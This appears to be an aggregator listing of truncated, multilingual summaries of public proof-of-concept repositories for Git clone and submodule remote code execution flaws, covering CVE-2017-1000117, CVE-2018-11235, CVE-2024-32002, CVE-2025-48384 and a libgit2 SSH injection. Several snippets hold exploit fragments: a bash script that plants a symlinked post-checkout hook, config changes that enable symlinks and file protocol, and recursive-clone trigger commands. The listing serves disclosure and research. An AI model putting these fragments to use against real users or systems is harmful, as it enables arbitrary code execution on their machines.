CVE-2025-48384

CVE-2025-48384: Rompere git con un ritorno a capo e RCE tramite clonazione Riproduzione tratta da https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. Tutti i crediti a David Leadbeater. Questo è un tentativo di riproduzione di base della vulnerabilità. Per attivarla, esegui git clone...

CVE-2024-32002

GIT RCE CVE-2024-32002 Descrizione | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | Exploit | Per prima cosa devi creare i repository "calledrepo" e "commandrepo" su git. | La vittima eseguirà successivamente la clonazione di calledrepo con "git clone --recursi...

CVE-2024-32002-Exploit

root@kitploit: !/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

Cve-2024-32002-poc

CVE-2024-32002 RCE PoC Panoramica Questo repository contiene una Proof of Concept PoC per CVE-2024-32002, una vulnerabilità di Remote Code Execution RCE nei sottomoduli Git. L'exploit dimostra come un payload dannoso possa essere attivato tramite una clonazione ricorsiva di un repository Git...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Configuração do Docker Ngrok PoC do CVE-2018-11235-Git e tunelamento com docker ngrok Construir o Dockerfile root@kitploit: $ docker build -t cve-2018-11235 . Criar rede personalizada para ngrok root@kitploit: $ docker network create myngroknet Iniciar o servidor...

CVE-2024-32002

CVE-2024-32002 RCE PoC Übersicht Dieses Repository enthält einen Proof of Concept PoC für CVE-2024-32002, eine Remote-Codeausführungs-Schwachstelle RCE in Git-Submodulen. Der Exploit zeigt, wie eine bösartige Nutzlast über ein rekursives Klonen eines Git-Repositorys ausgelöst werden kann...

CVE-2025-48384-poc

CVE-2025-48384-poc CVE-2025-48384 hat die Form einer unsachgemäßen Linkauflösung Link-Following Schwachstelle in git. Insbesondere werden Dateinamen mit Wagenrückläufen in .git/config falsch geparst, und das Einfügen eines Symlinks, der auf eine git-Hook-ausführbare Datei in einem Submodul zeigt,...

CVE-2024-32002

CVE-2024-32002 RCE PoC Panoramica Questo repository contiene una prova di concetto PoC per CVE-2024-32002, una vulnerabilità di esecuzione remota di codice RCE nei sottomoduli di Git. L'exploit dimostra come un payload dannoso può essere attivato tramite un clone ricorsivo di un repository Git...

CVE-2025-48384

CVE-2025-48384 PoC Avisos Este repositório foi criado para fins educacionais de segurança. Por favor, não o utilize para fins maliciosos. Esta vulnerabilidade requer que o nome do diretório contenha \r, portanto, sistemas Linux/Unix são os afetados. Abaixo estão as versões do Git afetadas: v2.43....

CVE-2024-32002

CVE-2024-32002 CVE-2024-32002 का शोषण करने के लिए छोटी स्क्रिप्ट, उपलब्ध CVE पर आधारित कैसे करें पहले, github या gitlab पर 2 खाली रेपो बनाएं। फिर git clone करें और यह स्क्रिप्ट चलाएं। अंत में: git clone –recursive repo2 स्वचालित RCE के लिए...

CVE-2017-1000117

CVE-2017-1000117 Un malintenzionato può creare un link "ssh://…" opportunamente costruito in modo che la vittima, eseguendo un programma o simili, visiti tale link malevolo, ottenendo così l'esecuzione di comandi. Il link può essere inserito nel file .gitmodules di un progetto git, in modo che...

CVE-2017-1000117

git-client-rce यह PoC केवल शैक्षणिक उद्देश्य के लिए है!!! गिट रिपॉजिटरी का परीक्षण करें git-client-rce PoC CVE-2017-1000117 के लिए https://marc.info/?l=git&m=150238802328673&w=2 यह CVE सभी git क्लाइंट्स को प्रभावित करता है जो v2.14.1 से पुराने हैं परीक्षण प्रणाली पर PoC देखने के लिए निम्नलिखित...

Fix-CVE-2017-1000117

Test repository to check Git's vulnerability CVE-2017-1000117, and try to upgrade git version. Repository di test per verificare la vulnerabilità di Git CVE-2017-1000117 e provare ad aggiornare la versione di git. root@kitploit: $ git clone --recursive...

CVE-2017-1000117_wasawasa

Repository di test per verificare la vulnerabilità di Git CVE-2017-1000117 Come funziona? Clona questo repository in modo ricorsivo. root@kitploit: $ git clone --recursive https://github.com/sasairc/CVE-2017-1000117wasawasa.git Originale greymd/CVE-2017-1000117...

cve-2025-48384-poc

PoC per CVE-2025-48384 Questa proof-of-concept dimostra la vulnerabilità di errata interpretazione del sottomodulo CR-path di Git, che porta all'esecuzione arbitraria di hook durante git clone --recurse-submodules. ⚠️ Avviso Questo è solo per scopi educativi e di test. Non eseguirlo in un ambiente...

CVE-2017-1000117

Repository di test per verificare la vulnerabilità di Git CVE-2017-1000117 Come funziona? Clona questo repository in modo ricorsivo. La frase 「うんこもりもり」che significa tipo "Molta merda." verrà mostrata sul tuo terminale. root@kitploit: $ git clone --recursive...

CVE-2025-48384-POC

Per attivare, esegui git clone --recursive https://github.com/fishyyh/CVE-2025-48384-POC.git su una versione vulnerabile di git e troverai un file /tmp/sectest che appare improvvisamente...

CVE-2024-32002-poc

Script Bash: root@kitploit: !/bin/bash Imposta le opzioni di configurazione di Git git config --global protocol.file.allow always git config --global core.symlinks true Evita messaggi di avviso imposta il ramo predefinito su main git config --global init.defaultBranch main Definisci il percorso d...

git_rce

CVE-2024-32002 PoC 1. Devi configurare l'opzione dei link simbolici di git in questo modo: root@kitploit: git config --global core.symlinks true 2. Quindi sfrutta CVE-2024-32002 con il seguente comando: root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git Scenario di...

CVE-2026-5917

libgit2 versions v0.27.0 through v1.9.0 built with the libssh2 SSH backend USESSH=libssh2 contain a shell command injection vulnerability that allows remote attackers to execute arbitrary commands on an SSH server by supplying a repository path containing unescaped shell metacharacters such as...